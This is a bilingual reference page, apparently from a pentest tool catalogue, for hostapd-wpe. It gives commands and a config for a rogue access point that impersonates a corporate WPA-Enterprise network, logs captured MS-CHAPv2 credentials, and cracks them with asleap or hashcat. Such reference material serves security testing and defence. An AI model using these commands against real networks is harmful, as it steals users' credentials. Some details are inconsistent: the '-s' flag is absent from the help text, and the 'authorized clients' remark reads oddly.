hostapd-wpe

Overview

hostapd-wpe turns a wireless card into a rogue AP that impersonates a legitimate WPA/WPA2-Enterprise network. When a client attempts to authenticate via EAP (PEAP, EAP-TTLS, EAP-MD5, etc.), hostapd-wpe accepts the connection at the 802.1X layer and captures the inner authentication exchange — typically an MS-CHAPv2 challenge/response — which can then be cracked offline. It’s the standard tool for demonstrating that enterprise WiFi clients don’t validate the RADIUS server’s certificate.

Common Usage

Start the rogue AP with the default config

hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Force PEAP/EAP-TTLS clients into MSCHAPv2, ignoring cert warnings

hostapd-wpe -s <SSID> /etc/hostapd-wpe/hostapd-wpe.conf

Watch the log for captured credentials in real time

tail -f /tmp/hostapd-wpe.log

Example config snippet

# hostapd-wpe.conf
interface=wlan0
ssid=Corp-WiFi
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key

Cracking the captured hash

MS-CHAPv2 response goes straight into asleap or hashcat

asleap -C <challenge> -R <response> -f wordlist.dat -W wordlist.idx

Or with hashcat (mode 5500 = MS-CHAPv2)

hashcat -m 5500 captured.hash rockyou.txt

Notes

• Only authorized clients (or misconfigured devices that don’t validate the server cert) will fall for this — user education / cert pinning defeats it.
• Pair with hostapd-mana for Karma-style auto-association if the SSID isn’t already known to the target.

hostapd-wpe [-hdBKtv] [-P PID_FILE] [-e ENTROPY_FILE] <configuration file(s)>

  -h   show this help
  -d   show more debug messages (-dd for even more)
  -B   run daemon in the background
  -K   include key data in debug messages
  -v   show hostapd version

Output:
  /tmp/hostapd-wpe.log     Captured usernames + challenge/response pairs
  /tmp/hostapd-wpe.pcap    Full EAP exchange capture

Vue d’ensemble

hostapd-wpe transforme une carte sans fil en point d’accès pirate qui usurpe un réseau WPA/WPA2-Enterprise légitime. Quand un client tente de s’authentifier via EAP (PEAP, EAP-TTLS, EAP-MD5, etc.), hostapd-wpe accepte la connexion à la couche 802.1X et capture l’échange d’authentification interne, généralement un challenge/réponse MS-CHAPv2, qui peut ensuite être cassé hors ligne. C’est l’outil standard pour démontrer que les clients WiFi d’entreprise ne valident pas le certificat du serveur RADIUS.

Utilisation courante

# Démarrer le point d'accès pirate avec la config par défaut
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# Forcer les clients PEAP/EAP-TTLS en MSCHAPv2, en ignorant les avertissements de certificat
hostapd-wpe -s <SSID> /etc/hostapd-wpe/hostapd-wpe.conf

# Surveiller le journal pour les identifiants capturés en temps réel
tail -f /tmp/hostapd-wpe.log

Extrait de configuration exemple

# hostapd-wpe.conf
interface=wlan0
ssid=Corp-WiFi
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key

Casser le hachage capturé

# La réponse MS-CHAPv2 va directement dans asleap ou hashcat
asleap -C <challenge> -R <response> -f wordlist.dat -W wordlist.idx

# Ou avec hashcat (mode 5500 = MS-CHAPv2)
hashcat -m 5500 captured.hash rockyou.txt

Notes

• Seuls les clients autorisés (ou les appareils mal configurés qui ne valident pas le certificat du serveur) tomberont dans le panneau : la sensibilisation des utilisateurs / l’épinglage de certificat déjoue cette attaque.
• Associer avec hostapd-mana pour une auto-association de type Karma si le SSID n’est pas déjà connu de la cible.

hostapd-wpe [-hdBKtv] [-P PID_FILE] [-e ENTROPY_FILE] <configuration file(s)>

  -h   show this help
  -d   show more debug messages (-dd for even more)
  -B   run daemon in the background
  -K   include key data in debug messages
  -v   show hostapd version

Output:
  /tmp/hostapd-wpe.log     Captured usernames + challenge/response pairs
  /tmp/hostapd-wpe.pcap    Full EAP exchange capture